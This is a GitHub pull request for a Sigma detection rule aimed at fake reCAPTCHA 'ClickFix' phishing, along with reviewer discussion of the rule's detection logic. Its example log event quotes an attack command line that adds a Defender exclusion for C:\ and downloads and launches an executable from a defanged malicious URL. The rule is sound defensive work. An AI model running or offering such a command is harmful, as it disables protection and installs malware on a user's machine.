-
-
Notifications
You must be signed in to change notification settings - Fork 2.3k
Adding rule for detecting recaptcha phish process executions #5218
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Welcome @montysecurity 👋
It looks like this is your first pull request on the Sigma rules repository!
Please make sure to read the SigmaHQ conventions document to make sure your contribution is adhering to best practices and has all the necessary elements in place for a successful approval.
Thanks again, and welcome to the Sigma community! 😃
Hi Thats why i added them on commandline not on image just to be safe proc_creation_win_susp_clickfix_execution_pattern.yml
|
Good eye and thanks for the assist @swachchhanda000 ! |
…oc_creation_win_susp_clickfix_execution.yml
You do not need the CLI for the binaries as the captcha strings are enough. |
@nasbench , @frack113 |
@swachchhanda000 what about something like this? going for the more generic approach
|
Hi, after a brief research, I discovered that there are other forms of fake CAPTCHA messages being used in these lures. The '#' symbol remains a consistent element across all of them. Therefore, I made some adjustments by removing the suspicious executables to ensure the rule is not overly specific.
cc @montysecurity, @nasbench , @frack113 OR we can be little bit more generic by looking at Explorer.exe as ParentImage and commandline containing 'http', a medium level rule. Let me know what you think?
|
Thanks @swachchhanda000 ! Given the target of the hunt being recaptcha, I like the first one you list there (Potential ClickFix Execution Pattern) better. The second one is a good hunt as well, and yet I think it expands the scope a bit too far outside of recaptcha/clickfix. It definitely has some value though, so maybe as a separate rule? |
I prefer to stay with the pattern : selection_parent:
ParentImage|endswith: '\explorer.exe'
CommandLine|contains: '#'
selection_cmd:
CommandLine|contains:
# Add more suspicious keyword
|
Summary of the Pull Request
Adding rule for detecting recaptcha phish process executions
Changelog
New: proc_creation_win_powershell_fake_captcha.yml
Example Log Event
cmd /c "powershell Add-MpPreference -ExclusionPath 'C:\' && timeout 2 && powershell Invoke-WebRequest -Uri 'http://book[.]rollingvideogames[.]com/temp/1.exe' -OutFile '%TEMP%\1.exe' && start %TEMP%\1.exe" # ✅ ''I am not a robot - reCAPTCHA Verification ID: 1212''
Reference: https://www.zscaler.com/blogs/security-research/deepseek-lure-using-captchas-spread-malware
Fixed Issues
N/A
SigmaHQ Rule Creation Conventions